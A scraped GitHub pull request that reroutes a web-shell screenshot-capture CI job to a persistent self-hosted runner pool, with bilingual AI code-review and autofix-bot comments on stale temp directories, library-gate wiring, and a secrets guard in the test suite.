ci: render web-shell visuals on the persistent pool for trusted lanes - #10087
ci: render web-shell visuals on the persistent pool for trusted lanes#10087wenshao wants to merge 20 commits into
Conversation
Route the capture job onto the ECS pool for same-repo PRs and write-access fork authors — the same trust split serve-ab and ci.yml's classify_pr already apply to lanes that build and run PR code — while every other fork PR keeps the ephemeral hosted runner and the kill-switch forces everything hosted. The recorded security model in the header is updated to name the split explicitly; the privileged publish workflow stays hosted and untouched. The job gains the standard pre-checkout ownership heal, and a best-effort ffmpeg install keeps GIF previews working on pool machines (the conversion already degrades to raw .webm with a warning when ffmpeg is absent). Routing parity with serve-ab, the trust matrix, the heal ordering, and the no-ambient- secrets premise are pinned in ci-runner-routing.test.mjs.
First pool run failed in 'Install Playwright Chromium': --with-deps drives apt-get and the pool machines are not Debian-family. The step now keeps --with-deps where apt exists and elsewhere downloads the browser alone, then hard-verifies its shared libraries with ldd — failing with the concrete missing-library list (a provisioning signal) instead of crashing mid-render. Also mirror ci.yml's setup-node split (the action's post-step cache upload ran 14+ minutes over the pool's slow egress on security-checks' first pool run) and teach the ffmpeg best-effort install dnf/yum. All three shapes are pinned in the routing suite.
|
|
|
Thanks @wenshao! Template — good. The formal Problem — observed operational pain, not a theory: the capture job is a 10–20 minute double build+render on every web-shell/webui PR push, and it has been queueing behind the hosted backlog (20+ minute waits on 2026-08-25/26) while ~70 of the pool's 100 runners sat idle. The PR also exercises its own change: the Direction — aligned. It moves only the lanes the fleet already trusts (same-repo PRs and write-access fork authors — the same lanes whose code ci.yml and serve-ab already build and execute on the pool); untrusted fork PRs keep the ephemeral hosted runner with a read-only token, and the PAT-bearing publish side deliberately stays hosted. For the record: this deliberately amends a recorded security decision — the workflow header used to name "an ephemeral hosted runner" as part of the security model. The amendment is called out rather than slipped in, the new header records the trust split, and tests pin the security invariants (fork-isolation routing, kill-switch, secret-free capture). It reuses fleet policy rather than adding new attack surface, but a human maintainer should still sign off on amending the recorded decision during review. Size — small and focused: +218/−9 across 3 files (88 workflow + 2 baseline lines; 137 test lines). No core paths; no size advisory. Approach — minimal and idiomatic for this fleet:
Risk — no revert-correlated high-risk path hits. The change is security-adjacent by nature (building and rendering untrusted PR code on persistent shared machines), so Stage 2 focuses on the trust-split expression and the secret-exposure claim; tests already pin both. Moving on to code review. 🔍 中文说明感谢 @wenshao！ 模板 — 完整。形式上的 问题 — 已观测到的运维痛点，非理论问题：capture job 是每次 web-shell/webui PR push 都触发的 10-20 分钟双臂构建渲染，一直排在托管队列积压里（2026-08-25/26 等待 20+ 分钟），而池上约 100 台中 70 台空闲。这个 PR 也在用自身演练改动——写这条评论时，本 head 上的 方向 — 对齐。只移动车队已信任的车道（同仓库 PR 与写权限 fork 作者——正是 ci.yml 与 serve-ab 已在池上构建执行其代码的车道）；非信任 fork PR 仍留在一次性托管 runner（只读 token），持 PAT 的 publish 侧刻意留在 hosted。记录在案：此改动显式修订了 workflow 头部的成文安全决策（头部原把"一次性托管 runner"列为安全模型的一部分）。修订是明示的而非夹带，新头部记录了信任划分，测试钉扎了安全不变量（fork 隔离路由、总开关、capture 无 secret）。这是沿用既有车队策略而非新增攻击面，但成文决策的修订仍应由人类维护者在评审中确认。 规模 — 小而聚焦：+218/−9，3 个文件（工作流 88 行 + 基线 2 行；测试 137 行）。不触及核心路径，无规模告警。 方案 — 最小且符合车队惯例：路由表达式逐字复用 serve-ab（已在树内核对字节一致），并用测试钉扎两处——一个信任划分，一个编辑点。池上适配（属主修复、经 风险 — 无回滚相关高风险路径命中。改动天然贴近安全边界（在常驻共享机器上构建渲染不可信 PR 代码），Stage 2 将重点核查信任划分表达式与 secret 暴露声明；测试已钉扎两者。 进入代码审查 🔍 — Qwen Code · qwen3.8-max Reviewed at |
🖼️ web-shell visual previewRendered against a mock daemon (no real backend): the PR base vs this PR head Screenshots · before / afterFull-resolution recordings (.webm) are attached to the workflow run. — Qwen Code · web-shell visuals |
Code reviewMy independent baseline for this problem was: reuse the fleet's existing trust-split routing expression verbatim and pin parity with a test, gate every self-hosted adaptation on What I verified against the tree:
No blockers. Testing evidenceWhat this comment carries: the PR's own CI on the reviewed commit, read via the API (per policy, the review is static — PR code is never executed here), including the completed capture job's log milestones. The headline fact: this PR's own
One real wart in the run, which I'm naming as pre-existing rather than PR-caused: the CI otherwise: the Linux unit suite was still running at review time (finalize workflow updates the table below when CI settles on this commit); skipped checks are consistent with Classify PR passing on a workflow-only change. Final CI results for
One row per check name (latest run); skipped checks omitted; failures sort first. / 每个检查名一行（取最新一次运行），省略 skipped，失败项排在最前。 Not verified: final outcome of the in-flight unit suite (finalize workflow will update the table); no sandboxed Real-scenario testing: 中文说明代码审查：我的独立基线是逐字复用车队既有信任划分表达式并用测试钉扎、池上适配全部以 测试证据：本评论携带被审提交上 PR 自身 CI 的 API 证据（按策略审查为静态，不执行 PR 代码），含已完成 capture job 的日志节点。关键事实：本 PR 自己的 — Qwen Code · qwen3.8-max Reviewed at |
|
Confidence: 4/5 — clean, minimal, fleet-idiomatic change that proved itself live on this very commit; two non-blocking nits named below. Stepping back: my independent proposal for this problem was essentially what this PR does — reuse the fleet's trust-split expression verbatim with a parity pin, gate pool adaptations on What settles it for me is that this is one of the rare CI PRs with live proof rather than promise: the workflow triggers on itself, so this commit's own capture job ran the new lane end-to-end on The security-model amendment is the part a human should still put eyes on, and I've flagged it in Stage 1: it's deliberate, documented in-tree, pinned by tests, and consistent with what ci.yml/serve-ab already do with these lanes — but amending a recorded security decision is a maintainer's call to make consciously at merge time, not one to rubber-stamp. Non-blocking nits (recorded so nothing is silently dropped):
Approval is deferred until CI lands green on this commit — the 中文说明置信度：4/5 —— 干净、最小、符合车队惯例的改动，且已在本提交上实时自证；下面列出两个非阻塞小项。 退一步看：我对这个问题的独立方案与本 PR 基本一致——逐字复用车队信任划分表达式并加钉扎测试、池上适配以 让我放心的是：这是少见的自带实时证据而非口头承诺的 CI PR——workflow 会因自身变更而触发，本提交自己的 capture job 已在 安全模型的修订仍是需要人类过目的部分，Stage 1 已标记：修订是明示的、有树内文档、有测试钉扎，且与 ci.yml/serve-ab 对这些车道的既有做法一致——但修订成文安全决定应由维护者在合并时有意识地确认，而非自动放行。 非阻塞小项（记录在案，避免静默丢失）：
批准暂缓至本提交 CI 全绿—— — Qwen Code · qwen3.8-max Reviewed at |
Code Coverage Summary
CLI Package - Full Text ReportCore Package - Full Text ReportFor detailed HTML reports, please see the 'coverage-reports-22.x-ubuntu-latest' artifact from the main CI run. |
qwen-code-ci-bot
left a comment
qwen-code-ci-bot
left a comment
There was a problem hiding this comment.
LGTM, looks ready to ship — CI landed green after the review. ✅
qwen-code-ci-bot
left a comment
qwen-code-ci-bot
left a comment
There was a problem hiding this comment.
1 Suggestion-level finding(s) this review confirmed are already reported on this PR and are not repeated:
- R1-5 ambient-secret guard scans only step-level env (with:/job-env/run: slip past) — already reported (issue comment 5421801878)
Not linted (tool limitation, not a blocker): the executable-script lint — .github/workflows/web-shell-visuals.yml: actionlint embedded-shell source mapping is not yet supported — not linted.
中文说明
本轮确认的 1 条建议级发现已在 PR 上报告过，不再重复发布（列表见上方英文部分）。
未检查（工具限制，非阻断）：the executable-script lint — .github/workflows/web-shell-visuals.yml: actionlint embedded-shell source mapping is not yet supported — not linted。
— qwen3.8-max via Qwen Code /review (v0.22.0)
| # this persistent runner may leave root-owned or read-only files in the | ||
| # shared workspace, and checkout's clean would die on EACCES. Hosted | ||
| # runners are ephemeral and never take this branch. | ||
| - name: 'Restore workspace ownership' |
There was a problem hiding this comment.
[Critical] The capture directories under ${RUNNER_TEMP} are never cleared on the pool lane, so screenshots and videos left over from a previous run can leak into this PR's preview. serve-ab.yml — which this PR explicitly mirrors — carries a dedicated 'Clear stale capture dirs' step for exactly this reason, and its comment says why: on the persistent pool ${RUNNER_TEMP} outlives a run. The harness here only mkdirSyncs the output directories, and compose, GIF conversion, and the uploads consume whatever is on disk.
On two visuals runs on the same pool machine where the second run's view/flow set differs, or where the after_capture step or the base checkout fails (both are continue-on-error: true), the previous run's leftover PNGs and .webm files are composited, converted to GIFs, and uploaded as THIS PR's preview — or the previous run's web-shell-before/ PNGs silently become the diff baseline. render-status.txt records only the after_capture outcome, so no warning fires.
Verified by running the PR's own unmodified web-shell-visuals-compose.mjs against seeded leftover dirs: composer-light.png: hasBefore=false -> COMPOSITED/PUBLISHED, sidebar-dark.png: hasBefore=true -> COMPOSITED/PUBLISHED, 2 stale PNG(s) from PR #A would be composited/uploaded as PR #B's preview.
Note: the PR description says "outputs live under runner.temp, which the runner wipes between jobs" — that holds for ephemeral hosted runners at best, and serve-ab's comment and clear step exist precisely because it does not hold on this fleet's pool.
| - name: 'Restore workspace ownership' | |
| # Unconditional, and before any capture: on the persistent pool | |
| # ${RUNNER_TEMP} outlives a run (see serve-ab.yml's 'Clear stale | |
| # capture dirs'). A leftover capture set from an earlier run would | |
| # be composited and uploaded as this run's preview. No-op on hosted. | |
| - name: 'Clear stale capture dirs' | |
| run: |- | |
| set -euo pipefail | |
| rm -rf "${RUNNER_TEMP}/web-shell-visuals" "${RUNNER_TEMP}/web-shell-before" | |
| - name: 'Restore workspace ownership' |
中文说明
池上车道从不清理 ${RUNNER_TEMP} 下的捕获目录，上一次运行遗留的截图/视频可能混入本 PR 的预览。本 PR 显式对标的 serve-ab.yml 正是为此带了专门的 'Clear stale capture dirs' 步骤，其注释写明原因：常驻池上 ${RUNNER_TEMP} 跨运行存留。此处 harness 只 mkdirSync 输出目录，而 compose、GIF 转换与上传直接消费磁盘上已有的内容。
同一台池机器上先后两次 visuals 运行，若第二次的视图/流程集合不同，或 after_capture 步骤、base 检出失败（两者均为 continue-on-error: true），上一次运行遗留的 PNG 与 .webm 会被合成、转 GIF 并作为本 PR 的预览上传——更糟的是上一次运行的 web-shell-before/ PNG 会悄悄成为差异基线。render-status.txt 只记录 after_capture 的结果，因此不会有任何告警。
已用本 PR 未改动的 web-shell-visuals-compose.mjs 对植入的遗留目录实际运行验证：composer-light.png: hasBefore=false -> COMPOSITED/PUBLISHED、sidebar-dark.png: hasBefore=true -> COMPOSITED/PUBLISHED、2 stale PNG(s) from PR #A would be composited/uploaded as PR #B's preview。
注：PR 描述称"输出位于 runner.temp，runner 每个 job 之间清理"——这对一次性托管 runner 至多成立；serve-ab 的注释与清理步骤正是因为在该车队的池上并非如此而存在。建议补丁：在捕获开始前无条件清理 ${RUNNER_TEMP}/web-shell-visuals 与 ${RUNNER_TEMP}/web-shell-before（托管 runner 上为空操作）。
— qwen3.8-max via Qwen Code /review (v0.22.0)
| npx playwright install chromium | ||
| missing='' | ||
| while IFS= read -r bin; do | ||
| missing="${missing}$(ldd "${bin}" 2>/dev/null | grep 'not found' || true)" |
There was a problem hiding this comment.
[Suggestion] The missing-library accumulator drops the newline between binaries: command substitution strips the trailing newline, so when a second binary also has unresolved libraries its output glues onto the first (libA.so => not foundlibB.so => not found). The subsequent printf '%s\n' "${missing}" | sort -u then emits fused lines that cannot be deduplicated — exactly in the multiple-missing-library case this step exists to give a clear provisioning signal for. The gate still exits 1, so only the diagnostic degrades. Verified with a probe reproducing the accumulation across two fake ldd outputs: the current form emits the fused line, appending a newline per accumulation fixes it.
| missing="${missing}$(ldd "${bin}" 2>/dev/null | grep 'not found' || true)" | |
| missing="${missing}$(ldd "${bin}" 2>/dev/null | grep 'not found' || true)"$'\n' |
中文说明
缺库列表的累加丢失了二进制之间的换行：命令替换会去掉行尾换行，因此当第二个二进制也有未解析的库时，其输出会直接粘到第一个后面（libA.so => not foundlibB.so => not found）。随后的 printf '%s\n' "${missing}" | sort -u 会输出无法去重的粘连行——恰恰在该步骤本应给出清晰供给信号的"多库缺失"场景。门禁仍会 exit 1，只是诊断信息退化。已用探针复现两个假 ldd 输出的累加过程验证：现有写法输出粘排行，每次累加补一个换行即修复。
— qwen3.8-max via Qwen Code /review (v0.22.0)
| // trust split exactly as serve-ab does: same-repo PRs and write-access | ||
| // fork authors reach the persistent pool, every other fork PR keeps the | ||
| // ephemeral hosted runner, and the kill-switch forces everything hosted. | ||
| const visualsDoc = parse( |
There was a problem hiding this comment.
[Suggestion] The workflow parse and the visualsDoc.jobs.capture dereference happen INSIDE the describe callback. A future PR renaming the job id (or moving the file) makes that dereference throw during suite construction — and on Node 22's node --test a throw inside a describe callback reports fail 0 while exiting 0 (verified with a minimal repro on v22.23.0, the major the lane pins). The HELPER_TESTS lane gates on the exit code, so all seven guards in this block go dark while CI stays green — the silent regression this file exists to prevent. The existing blocks in this file parse at module top level, where a throw fails module load and exits 1.
// At module top level, next to ciDoc / serveAbDoc:
const visualsDoc = parse(
readFileSync(join(workflowsDir, 'web-shell-visuals.yml'), 'utf8'),
);
const captureJob = visualsDoc.jobs.capture;
// The describe callback then references captureJob, so a rename/move
// fails module load (exit 1) instead of darkening the suite (exit 0).中文说明
workflow 的解析与 visualsDoc.jobs.capture 解引用发生在 describe 回调内部。未来若有 PR 重命名该 job id（或移动文件），解引用会在套件构建期抛错——而 Node 22 的 node --test 对 describe 回调内的抛错报 fail 0 且退出码为 0（已在该车道钉扎的 v22.23.0 上用最小复现验证）。HELPER_TESTS 车道以退出码为门禁，于是该块的七项守卫全部静默失效而 CI 依旧绿灯——正是本文件要防止的静默回归。本文件既有块都在模块顶层解析，抛错会使模块加载失败并 exit 1。修复：把解析与 job 查找提升到模块顶层（与 ciDoc / serveAbDoc 并列），让重命名/移动文件时模块加载失败，而不是套件静默变暗。
— qwen3.8-max via Qwen Code /review (v0.22.0)
| (s) => s.name === 'Install Playwright Chromium', | ||
| ); | ||
| assert.ok(install, 'the Playwright install step must exist'); | ||
| assert.match(install.run, /command -v apt-get/); |
There was a problem hiding this comment.
[Suggestion] These five assert.match checks pin keywords somewhere in the script rather than the wiring of the gate. Two one-line mutations to the workflow defeat the library gate while this suite stays green (both executed): inverting if [ -n "${missing}" ] to -z lets a machine with unresolved libraries pass the gate and crash mid-render; changing the find patterns to match nothing means ldd never runs and the gate passes on any machine. A third — swapping the branch bodies so the non-apt lane runs --with-deps — is the same shape.
Pin the wiring instead: split install.run at the else boundary and assert the non-apt half contains npx playwright install chromium (without --with-deps), the ldd loop fed by a find matching the browser binaries, and exit 1 guarded by [ -n "${missing}" ] — or exec the else branch with stubbed ldd/find/npx on PATH and assert exit 1 when ldd reports "not found", exit 0 otherwise (this file already execs real shell for the pick_runner tests).
中文说明
这五个 assert.match 检查钉扎的是脚本中某处出现的关键字，而非门禁自身的接线。对 workflow 做两处单行变异即可击穿库门禁而本套件仍为绿（均已实际执行）：把 if [ -n "${missing}" ] 反转为 -z，缺库的机器会通过门禁并在渲染中途崩溃；把 find 的模式改为匹配不到任何文件，则 ldd 永不执行，门禁在任何机器上都通过。第三处——交换两个分支体使非 apt 车道运行 --with-deps——同属此形。建议钉扎接线：在 else 边界处拆分 install.run，断言非 apt 半边包含不带 --with-deps 的 npx playwright install chromium、ldd 循环由匹配浏览器二进制的 find 供值、exit 1 受 [ -n "${missing}" ] 守护——或者用 stub 的 ldd/find/npx 实际执行 else 分支，断言 ldd 报 "not found" 时 exit 1、否则 exit 0（本文件已为 pick_runner 测试实际执行过真实 shell）。
— qwen3.8-max via Qwen Code /review (v0.22.0)
|
@qwen-code /takeover |
qwen-code-dev-bot
added
the
autofix/takeover
|
🤝 Takeover engaged: the autofix loop now manages this PR — it will address new review feedback and resolve base conflicts until the label is removed or the round cap is reached. Remove the 中文说明🤝 已接管：autofix 循环现在管理此 PR —— 将持续处理新的评审反馈与 base 冲突，直到移除标签或达到轮次上限。移除 |
On the persistent pool ${RUNNER_TEMP} outlives a run, and the capture
job never cleared its two capture trees: screenshots and videos left
by an earlier run would be composited and uploaded as this PR's
preview, or silently become its diff baseline — the compositor
consumes whatever is on disk. Add the same unconditional 'Clear stale
capture dirs' step serve-ab.yml carries, ahead of every capture.
Also fix the missing-library accumulator: command substitution strips
the trailing newline, so a second binary's unresolved libraries glued
onto the first's and sort -u could not dedupe the fused line. Each
accumulation now terminates its own line — and only when there is one,
since an unconditional separator would trip the non-empty gate on a
fully-provisioned machine.
The routing suite moves the visuals parse and job dereference to
module load (a throw inside a describe callback reports zero failures
and exits 0 on Node 22, silently darkening every guard), pins the
library gate's wiring instead of bare keywords (an inverted -n guard
or a find matching nothing both passed the old checks), extends the
no-ambient-secrets scan from step env to with inputs, run text, and
job- and workflow-level env, and pins the new clear step.
|
🤖 Addressed the latest review feedback (round 1/100). What changed, and what I pushed back on: · 已处理最新评审反馈（第 1/100 轮）。改动内容与我反驳保留之处如下： Autofix review round — PR #10087 (commit
|
| Mutation | Required | Result |
|---|---|---|
Invert missing guard -n → -z |
fail | FAILED ✓ |
find matches nothing |
fail | FAILED ✓ |
| Swap apt / non-apt branch bodies | fail | FAILED ✓ |
| Drop the newline separator (fused list) | fail | FAILED ✓ |
| Remove the clear step | fail | FAILED ✓ |
| Clear step drops the before tree | fail | FAILED ✓ |
| Clear step gated to self-hosted only | fail | FAILED ✓ |
| Secret in job-level env | fail | FAILED ✓ |
Secret in step with: input |
fail | FAILED ✓ |
Secret interpolated in run: text |
fail | FAILED ✓ |
Rename the capture job id |
exit 1 (loud) | exit 1 ✓ |
Every mutation was restored afterwards; the committed tree is green (17/17 in the routing suite).
Verification
Commands actually run this round (post-fix, on commit 57e4734):
node --teston the full HELPER_TESTS lane from ci.yml (all 19 files) — 410 passed, 0 failednode --test .github/scripts/ci-runner-routing.test.mjs— 17 passed, 0 failed (16 pre-existing + the new clear-step pin)bash .github/scripts/check-workflow-size.sh— passed (web-shell-visuals.ymlgrew 637 bytes, within the 4096-byte ratchet allowance; no.size-baselinechange needed)npm run build— passed (exit 0)npm run typecheck— passed (exit 0)npm run lint— passed (exit 0; covers the touched.github/scripts/*.mjs)- Mutation probes: 11 mutations, all caught (table above)
- No focused Vitest/integration runs: nothing under
packages/was touched, and the changed behavior (workflow YAML + node:test guards) is not exercised through the bundled CLI or integration harness. No settings source changed, so no schema regeneration.
中文说明
Autofix 评审轮次 — PR #10087（commit 57e4734）
四条 inline 发现与评审正文中再次确认的发现均已先对照当前代码逐一验证，随后全部解决。无冲突（--conflict false，未做任何合并）。
[rc:3861481712] Critical — ${RUNNER_TEMP} 下的陈旧捕获目录泄漏进预览 → 已修复
已复现：使用本 PR 未改动的合成器本身验证——植入遗留的 web-shell-visuals/screenshots 与 web-shell-before/screenshots 目录后运行 web-shell-visuals-compose.mjs 的 planWork，输出：stale-view-a-light.png: hasBefore=true -> COMPOSITED/PUBLISHED、1 stale PNG(s) from PR #A would be composited/uploaded as PR #B's preview。grep 同时确认 workflow 中根本不存在任何清理步骤。
改动：在 capture job 的第一步加入无条件的 'Clear stale capture dirs' 步骤，在任何捕获开始之前删除 ${RUNNER_TEMP}/web-shell-visuals 与 ${RUNNER_TEMP}/web-shell-before 两棵目录树——与 serve-ab.yml 出于同样原因所携带的步骤同形（在一次性托管 runner 上为空操作）。并在路由测试套件中钉扎：步骤存在、无条件（两条车道都跑）、无 continue-on-error、rm 的两个目标精确匹配、且位于两个捕获步骤之前。
[rc:3861481731] Suggestion — 缺库累加器粘连行 → 已修复，但偏离了建议补丁
已复现：用 stub ldd 探针对两个假二进制验证，现有写法输出 libbar.so => not found libbaz.so => not found（一条 sort -u 无法去重的粘连行）。
偏离说明：建议中无条件追加 "$'\n' 的写法是一个回归——探针表明：当所有库都能解析时，每轮循环仍会追加一个空换行，missing 变为 "\n\n"，[ -n "${missing}" ] 为真，门禁会在完全就绪的机器上误失败。因此改为：仅当该二进制确有未解析库时，才把其输出连同结尾换行一起追加；打印改用 printf '%s'（列表本身已以换行结尾）。供给信号同样清晰，且不再有误报。接线已在路由套件中钉扎（见 rc:3861481754）。
[rc:3861481744] Suggestion — describe 内部的解析/解引用会让套件静默变暗 → 已修复
已复现：在本 runner 的 Node v22.23.2 上，describe 回调内的抛错报 # fail 0 且退出码 0；同样的抛错位于模块顶层则报 # fail 1 且退出码 1。
改动：web-shell-visuals.yml 的解析与 capture job 的解引用（含 runs-on 读取）提升到模块顶层，与 ciDoc/serveAbDoc 并列，并加注释说明 Node 22 的变暗行为。探针：重命名 capture job id 后 node --test 以退出码 1 响亮失败，而不是静默变暗。
[rc:3861481754] Suggestion — 关键字钉扎守不住库门禁的接线 → 已修复
已复现：对本轮之前的测试实际执行了两条被点名的一行变异——把 [ -n "${missing}" ] 反转为 -z、把 find 模式改为匹配不到任何文件——套件均为绿（16 通过 / 0 失败）。
改动：测试现在在 else 边界处拆分 install.run，钉扎每一半的接线：apt 半边带 --with-deps；非 apt 半边是不带 --with-deps 的 npx playwright install chromium，且不得出现 --with-deps（捕获分支体交换）；ldd 循环由匹配真实浏览器二进制（~/.cache/ms-playwright 下的 headless_shell/chrome）的 find 供值；每次累加自带结尾换行（捕获 rc:3861481731 的回归）；exit 1 位于 [ -n "${missing}" ] 守护之后。本轮之后的变异测试：四条变异全部使套件失败。
[rv:5028910518] CHANGES_REQUESTED — R1-5 环境密钥守卫只扫描步骤级 env（此前已报告，issue 评论 5421801878）→ 已修复
已复现：在 job 级 env: 植入 secrets.NPM_TOKEN、在某步骤的 with: 输入植入 secrets.DEPLOY_KEY——旧测试对两者均通过（正是被点名的漏洞）。
改动：守卫现在扫描所有会做表达式插值的表面：步骤 env、步骤 with 输入、步骤 run 文本，以及 job 级与 workflow 级 env；secrets.GITHUB_TOKEN 仍是唯一允许的例外。变异测试：在 job env / with 输入 / run 文本中植入密钥均使套件失败。
[ic:5421771422] — 预览机器人评论 → 信息性，无需处理
机器人的视觉预览状态（"head 5785af5 有一个或多个场景渲染失败"）是运行状态通告，不是评审发现。其反映的渲染失败模式（RHEL 系池机器上没有 apt-get）正是本 PR 上一个提交已处理的问题；预览会在下次推送时刷新。
变异测试汇总（全部针对本轮提交的测试执行）
| 变异 | 预期 | 结果 |
|---|---|---|
反转缺库守卫 -n → -z |
失败 | 失败 ✓ |
find 匹配不到任何文件 |
失败 | 失败 ✓ |
| 交换 apt / 非 apt 分支体 | 失败 | 失败 ✓ |
| 去掉换行分隔符（粘连列表） | 失败 | 失败 ✓ |
| 删除清理步骤 | 失败 | 失败 ✓ |
| 清理步骤丢掉 before 目录树 | 失败 | 失败 ✓ |
| 清理步骤仅限 self-hosted | 失败 | 失败 ✓ |
| job 级 env 植入密钥 | 失败 | 失败 ✓ |
步骤 with: 输入植入密钥 |
失败 | 失败 ✓ |
run: 文本插值密钥 |
失败 | 失败 ✓ |
重命名 capture job id |
退出码 1（响亮失败） | 退出码 1 ✓ |
每条变异执行后均已还原；提交的树为绿（路由套件 17/17）。
验证
本轮实际执行的命令（修复后，基于 commit 57e4734）：
- 对 ci.yml HELPER_TESTS 车道全部 19 个文件执行
node --test— 410 通过，0 失败 node --test .github/scripts/ci-runner-routing.test.mjs— 17 通过，0 失败（16 条既有 + 新增的清理步骤钉扎）bash .github/scripts/check-workflow-size.sh— 通过（web-shell-visuals.yml增长 637 字节，在 4096 字节棘轮允许范围内，无需改动.size-baseline）npm run build— 通过（退出码 0）npm run typecheck— 通过（退出码 0）npm run lint— 通过（退出码 0；覆盖被改动的.github/scripts/*.mjs）- 变异探针：11 条变异全部被捕获（见上表）
- 未跑聚焦 Vitest / 集成测试：未改动
packages/下任何代码，且被改动的行为（workflow YAML + node:test 守卫）不经过打包 CLI 或集成测试框架执行。未改动任何设置源，因此无需重新生成 schema。
Base-conflict check · 基分支冲突检查: no conflict with main. · 与 main 无冲突。
Re-review when you have a moment. After round 100 this bot stops and leaves the PR for a human. · 有空请复审；第 100 轮后本 bot 停止并将 PR 交给人工。
🧠 Handled by Qwen Code · model/模型 qwen3.8-max
… judges The first red pool run of this workflow (run 32962437806) died inside the early setup window — before any render — and the only pool-specific hard gate in that window is the ldd library check this PR introduced: the RHEL-family pool images replaced the Debian-era image whose Chromium provisioning ci.yml's 'already include system deps' note was written for, and carry no apt-get for the installer to drive, so a machine whose image lacks the runtime libraries fails the gate exactly as designed — with a provisioning signal whose only remedies were out-of-band (fix the image or flip the kill-switch). Make the lane self-sufficient the same way the 'Install ffmpeg' step in this very job already is: when the first scan finds unresolved libraries, best-effort install the known Chromium runtime set with sudo -n dnf/yum (--skip-broken so one unknown package name cannot sink the rest), rescan, and let the existing hard gate judge the RESCAN. Probe-verified with stubbed ldd/sudo/dnf: a fully-provisioned machine passes without invoking sudo at all (no behavior change), a provisionable machine installs once and passes, and an unprovisionable machine still fails with the concrete missing list after the dnf->yum fallback. The routing suite pins the new wiring — first scan, dnf attempt, yum fallback, rescan, then gate — and the package list; dropping the rescan, dropping the install attempt, or emptying the list all fail the suite (executed mutations, restored afterwards).
|
🤖 Addressed the latest review feedback (round 2/100). What changed, and what I pushed back on: · 已处理最新评审反馈（第 2/100 轮）。改动内容与我反驳保留之处如下： 🤖 Addressed the latest review feedback (round 2/100). What changed, and what I pushed back on: · 已处理最新评审反馈（第 2/100 轮）。改动内容与我反驳保留之处如下： Autofix review round — PR #10087 (commit
|
| Scenario | Expected | Result |
|---|---|---|
| Fully-provisioned machine | pass, zero sudo invocations |
✓ pass, no sudo, "all resolve" |
| Missing libs, provisioning works | one dnf install with the dep set, rescan passes | ✓ pass, exactly one dnf call |
| Missing libs, nothing installable | dnf→yum fallback, warning, then gate exit 1 with the list |
✓ exit 1 with missing list |
Mutation battery for the new pins (all executed, all restored):
| Mutation | Required | Result |
|---|---|---|
| Drop the rescan (gate judges the first scan) | fail | FAILED ✓ |
| Drop the dnf/yum attempt | fail | FAILED ✓ |
| Empty the package list | fail | FAILED ✓ |
The new wiring pin in the routing suite asserts the order first scan → dnf attempt → yum fallback → rescan → gate, that the package list is defined before use, and that it names Chromium runtime packages.
Scope note: only .github/workflows/web-shell-visuals.yml and .github/scripts/ci-runner-routing.test.mjs changed — both already inside this PR's footprint. No .size-baseline change needed (growth within the ratchet allowance).
Verification
Commands actually run this round (post-fix, on commit 3363682):
node --test .github/scripts/ci-runner-routing.test.mjs— 18 passed, 0 failed (17 pre-existing + the new provision/rescan pin)node --teston the full HELPER_TESTS lane from ci.yml (all 19 files) — 411 passed, 0 failedbash .github/scripts/check-workflow-size.sh— passed (web-shell-visuals.ymlis 23462 bytes, +2178 over its recorded 21284 baseline, within the 4096-byte allowance)- Behavioral probe of the exact workflow script with stubbed
ldd/sudo/dnf— 3/3 scenarios as designed (table above) - Mutation probes: 3 mutations, all caught (table above), tree restored green afterwards
npm run build— passed (exit 0)npm run typecheck— passed (exit 0, zero errors in the log)npm run lint— passed (exit 0)- No focused Vitest/integration runs: nothing under
packages/was touched, and the changed behavior (workflow YAML + node:test guard) is not exercised through the bundled CLI or integration harness. No settings source changed, so no schema regeneration. - Environment-specific check not available here: a real re-run of the visuals capture on the
ecs-qwenpool requires GitHub Actions itself; this headless environment holds no credentials to trigger or inspect it. The workflow's independent CI on the pushed commit is the final verification gate for the pool-lane behavior.
中文说明
Autofix 评审轮次 — PR #10087（commit 3363682）
本轮唯一的反馈是失败的 check；没有任何评审正文、inline 或 issue 级发现。无冲突（--conflict false，未做任何合并）。
失败 check：Capture web-shell visuals (Node 22.x) — 运行 32962437806 → 基于证据诊断，根因修复
诊断。 本无头环境中不存在 GitHub 凭据，无法拉取 job 日志本身；失败是从可观测的事实中追溯出来的：
- 失败位置： 该 check 跑在 ECS 池车道（同仓库 PR），在墙钟 +5:38 处死亡。本 workflow 一次健康运行需要约 15 分钟（构建 + 渲染两条臂），因此失败位于早期准备窗口 ——
npm ci或Install Playwright Chromium—— 在任何渲染开始之前。该窗口之后的每个步骤要么continue-on-error，要么降级为警告，都不可能把 job 染红。 - 失败原因： 上一次池上运行（commit
5785af5，run 32939069587）通过了这些相同的早期步骤并发布了预览，但池镜像确实换代了：ci.yml 中 "Self-hosted ECS runners already include system deps" 的注释（出自 fix(ci): avoid apt on self-hosted Playwright smoke #6865）是为旧镜像写的 —— 本 PR 自己的第一次运行观察到了没有 apt-get 的新 RHEL 系镜像。旧镜像上的 Chromium 依赖供给已经消失，而该早期窗口中唯一的池专属硬门禁正是本 PR 引入的ldd库检查：在一台镜像缺少运行时库的机器上，它的行为与设计完全一致 ——exit 1并给出供给信号，而该信号的唯一补救手段都在带外（修池镜像或拨动总开关）。 - 排除其他可能：新增的
Clear stale capture dirs步骤无法解释 +5:38 的死亡（它在最初几秒内运行，且除本 workflow 外没有任何东西会以 root 属主写入那两个目录）；Chromium 下载失败会直接通过该步骤（没有set -e），并表现为软性的continue-on-error捕获失败，而不是红 job。npm ci仍是次要可能，但第 1 轮今天在同一池车道上的npm run build/测试运行成功了，且门禁假说有具体的代码级补救方案，而偶发的 registry 失败没有。
改动： 在非 apt 车道上，当第一次 ldd 扫描发现未解析的库时，该步骤现在通过 sudo -n dnf/yum 尽力安装已知的 Chromium 运行时依赖集（--skip-broken，使一个未知的包名不会拖垮其余部分），重新扫描，并让既有的硬门禁对重扫结果做裁决 —— 与本 job 中 Install ffmpeg 步骤在池上已经使用的自供给形态相同。门禁的语义在其他方面完全不变：一台无法完成供给的机器仍会以具体的缺库列表失败。
探针证据（用 stub 的 ldd/sudo/dnf 对 workflow 脚本原文执行）：
| 场景 | 预期 | 结果 |
|---|---|---|
| 完全就绪的机器 | 通过，零次 sudo 调用 |
✓ 通过，无 sudo，"all resolve" |
| 缺库、可供给 | 一次带依赖集的 dnf 安装，重扫通过 | ✓ 通过，恰好一次 dnf 调用 |
| 缺库、无法供给 | dnf→yum 回退、警告，随后门禁 exit 1 并列出清单 |
✓ exit 1 且输出缺库列表 |
新钉扎的变异测试（全部实际执行，全部还原）：
| 变异 | 预期 | 结果 |
|---|---|---|
| 去掉重扫（门禁裁决第一次扫描） | 失败 | 失败 ✓ |
